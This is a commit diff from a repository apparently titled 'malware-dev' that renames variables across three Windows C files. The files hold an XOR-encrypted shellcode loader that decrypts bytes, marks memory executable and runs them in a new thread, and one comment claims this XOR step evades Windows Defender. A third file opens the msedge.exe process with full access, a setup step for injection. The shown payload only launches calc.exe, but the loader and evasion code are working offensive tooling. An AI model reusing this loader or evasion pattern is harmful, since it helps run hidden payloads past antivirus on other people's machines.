admin/Print3M-malware-dev
1
0
Fork 0
mirror of https://github.com/Print3M/malware-dev synced 2026-06-21 16:42:26 +00:00
Code Issues Packages Projects Releases Wiki Activity

Change the Microsoft naming convention and stop the madness

Browse Source
This commit is contained in:
Print3M
2023-12-21 20:11:51 +01:00
parent 918fdc6593
commit 6d5d8593d6
3 changed files with 54 additions and 58 deletions
Download Patch File Download Diff File Expand all files Collapse all files
local_thread.c
+21 -21
View File
@@ -1,5 +1,6 @@
#include <Windows.h>
#include <stdio.h>
#include <stdint.h>
/*
Simple local thread shellcode execution.
@@ -7,7 +8,7 @@
*/
// Xored shellcode with calc.exe
UINT8 CalcShellcodeXored[] = {
uint8_t calc_shellcode_xored[] = {
0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B,
0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31,
0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0,
@@ -29,63 +30,62 @@ UINT8 CalcShellcodeXored[] = {
0x15, 0x65,
};
UINT8 XorKey[] = {
uint8_t xor_key[] = {
'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y'
};
VOID XorByKey(IN OUT PBYTE pShellcode, IN CONST SIZE_T szShellcode, IN CONST PBYTE pKey, IN CONST SIZE_T szKey) {
for (SIZE_T i = 0; i < szShellcode; i++) {
void xor_by_key(IN OUT uint8_t shellcode[], IN const size_t shellcode_sz, IN const uint8_t key[], IN const size_t key_sz) {
for (size_t i = 0; i < shellcode_sz; i++) {
// Get byte of key
UINT8 bKey = pKey[i % szKey];
uint8_t byte_key = key[i % key_sz];
// Calculate value
pShellcode[i] = pShellcode[i] ^ bKey;
shellcode[i] = shellcode[i] ^ byte_key;
}
}
VOID PrintBytes(IN CONST PBYTE bytes, IN CONST SIZE_T szBytes) {
for (SIZE_T i = 0; i < szBytes; i++) {
void print_bytes(IN const uint8_t bytes[], IN const size_t bytes_sz) {
for (size_t i = 0; i < bytes_sz; i++) {
if (i > 0 && i % 15 == 0) {
printf("\n");
}
printf("0x%02X, ", CalcShellcodeXored[i]);
printf("0x%02X, ", calc_shellcode_xored[i]);
}
}
INT main() {
int main() {
// Allocate memory
LPVOID pMem = VirtualAlloc(NULL, sizeof(CalcShellcodeXored), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (pMem == NULL) {
void* mem= VirtualAlloc(NULL, sizeof(calc_shellcode_xored), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (mem == NULL) {
printf("[!] VirtualAlloc error: %d \n", GetLastError());
return -1;
}
// Decrypt the shellcode
XorByKey(CalcShellcodeXored, sizeof(CalcShellcodeXored), XorKey, sizeof(XorKey));
xor_by_key(calc_shellcode_xored, sizeof(calc_shellcode_xored), xor_key, sizeof(xor_key));
// Copy the shellcode to the allocated memory
memcpy(pMem, CalcShellcodeXored, sizeof(CalcShellcodeXored));
memcpy(mem, calc_shellcode_xored, sizeof(calc_shellcode_xored));
// Set original shellcode to 0
memset(CalcShellcodeXored, 0x00, sizeof(CalcShellcodeXored));
memset(calc_shellcode_xored, 0x00, sizeof(calc_shellcode_xored));
// Change allocated memory permissions
PDWORD dwOdlProtect = NULL;
if (!VirtualProtect(pMem, sizeof(CalcShellcodeXored), PAGE_EXECUTE, &dwOdlProtect)) {
DWORD old_protect = NULL;
if (!VirtualProtect(mem, sizeof(calc_shellcode_xored), PAGE_EXECUTE, &old_protect)) {
printf("[!] VirtualProtect error: %d \n", GetLastError());
return -1;
}
// Create a thread
HANDLE hThread = CreateThread(NULL, NULL, pMem, NULL, NULL, NULL);
if (hThread == NULL) {
HANDLE thread = CreateThread(NULL, NULL, mem, NULL, NULL, NULL);
if (thread == NULL) {
printf("[!] CreateThread error: %d \n", GetLastError());
return -1;
}
WaitForSingleObject(hThread, INFINITE);
WaitForSingleObject(thread, INFINITE);
// Exit
printf("\n\nPress <Enter> To Quit ...");
process_enumeration_snapshot.c
+20 -24
View File
@@ -2,70 +2,66 @@
#include <TlHelp32.h>
#include <ctype.h>
#include <stdio.h>
#include <stdbool.h>
/*
Enumerate OS processes using WinAPI snapshot.
Find a process by name and open it.
*/
VOID ToLowercaseW(IN PWCHAR pSrc, OUT PWCHAR pDest) {
for (SIZE_T i = 0; i < wcslen(pSrc); i++) {
pDest[i] = (WCHAR) tolower(pSrc[i]);
pDest[i + 1] = '\0';
void to_lowercase(IN wchar_t src[], OUT wchar_t dest[]) {
for (size_t i = 0; i < wcslen(src); i++) {
dest[i] = (wchar_t) tolower(src[i]);
dest[i + 1] = '\0';
}
}
BOOL FindProcess(IN CONST PWSTR pProcName, OUT PHANDLE hProc, OUT PROCESSENTRY32* pProcEntry) {
bool find_process(IN const wchar_t proc_name[], OUT HANDLE* proc, OUT PROCESSENTRY32* proc_entry) {
/*
Return:
TRUE - if process has been found and opened (:pProcName and :hProc are populated)
FALSE - if something failed (reading :pProcName and :hProc is undefined behavior)
*/
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
HANDLE snap= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) {
printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError());
return FALSE;
}
if (!Process32First(hSnap, pProcEntry)) {
if (!Process32First(snap, proc_entry)) {
printf("[!] Process32First error: %d \n", GetLastError());
return FALSE;
}
// Prepare lowercase process name
WCHAR ProcessName[MAX_PATH];
wchar_t process_name[MAX_PATH];
do {
ToLowercaseW(pProcEntry->szExeFile, ProcessName);
to_lowercase(proc_entry->szExeFile, process_name);
printf("Proc: %5d | %ls \n", pProcEntry->th32ProcessID, ProcessName);
printf("Proc: %5d | %ls \n", proc_entry->th32ProcessID, process_name);
if (wcscmp(ProcessName, pProcName) == 0) {
*hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pProcEntry->th32ProcessID);
if (*hProc == NULL) {
if (wcscmp(process_name, proc_name) == 0) {
*proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc_entry->th32ProcessID);
if (*proc == NULL) {
printf("[!] OpenProcess error: %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
} while (Process32Next(hSnap, pProcEntry));
} while (Process32Next(snap, proc_entry));
return FALSE;
}
INT main() {
HANDLE hProc = NULL;
PROCESSENTRY32 ProcEntry = {
HANDLE proc = NULL;
PROCESSENTRY32 proc_entry = {
// According to the documentation, this value must be initialized
.dwSize = sizeof(PROCESSENTRY32)
};
if (!FindProcess(L"msedge.exe", &hProc, &ProcEntry)) {
if (!find_process(L"msedge.exe", &proc, &proc_entry)) {
printf("[!] FindProcess failed \n");
} else {
printf("[+] Process opened: (%d) %ls \n", ProcEntry.th32ProcessID, ProcEntry.szExeFile);
printf("[+] Process opened: (%d) %ls \n", proc_entry.th32ProcessID, proc_entry.szExeFile);
}
// Exit
xor_payload.c
+13 -13
View File
@@ -1,5 +1,6 @@
#include <Windows.h>
#include <stdio.h>
#include <stdint.h>
/*
Simple XOR of shellcode evades Windows Defender.
@@ -7,7 +8,7 @@
*/
// Xored shellcode with calc.exe
UINT8 CalcShellcodeXored[] = {
uint8_t calc_shellcode_xored[] = {
0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B,
0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31,
0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0,
@@ -29,37 +30,36 @@ UINT8 CalcShellcodeXored[] = {
0x15, 0x65,
};
UINT8 XorKey[] = {
uint8_t xor_key[] = {
'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y'
};
VOID XorByKey(IN OUT PBYTE pShellcode, IN CONST SIZE_T szShellcode, IN CONST PBYTE pKey, IN CONST SIZE_T szKey) {
for (SIZE_T i = 0; i < szShellcode; i++) {
void xor_by_key(IN OUT uint8_t shellcode[], IN const size_t shellcode_sz, IN const uint8_t key[], IN const size_t key_sz) {
for (size_t i = 0; i < shellcode_sz; i++) {
// Get byte of key
UINT8 bKey = pKey[i % szKey];
uint8_t byte_key = key[i % key_sz];
// Calculate value
pShellcode[i] = pShellcode[i] ^ bKey;
shellcode[i] = shellcode[i] ^ byte_key;
}
}
VOID PrintBytes(IN CONST PBYTE bytes, IN CONST SIZE_T szBytes) {
for (SIZE_T i = 0; i < szBytes; i++) {
void print_bytes(IN const uint8_t bytes[], IN const size_t bytes_sz) {
for (size_t i = 0; i < bytes_sz; i++) {
if (i > 0 && i % 15 == 0) {
printf("\n");
}
printf("0x%02X, ", CalcShellcodeXored[i]);
printf("0x%02X, ", calc_shellcode_xored[i]);
}
}
INT main() {
XorByKey(CalcShellcodeXored, sizeof(CalcShellcodeXored), XorKey, sizeof(XorKey));
int main() {
xor_by_key(calc_shellcode_xored, sizeof(calc_shellcode_xored), xor_key, sizeof(xor_key));
// Print xored shellcode
printf("Decrypted shellcode: \n");
PrintBytes(CalcShellcodeXored, sizeof(CalcShellcodeXored));
print_bytes(calc_shellcode_xored, sizeof(calc_shellcode_xored));
// Exit
printf("\n\nPress <Enter> To Quit ...");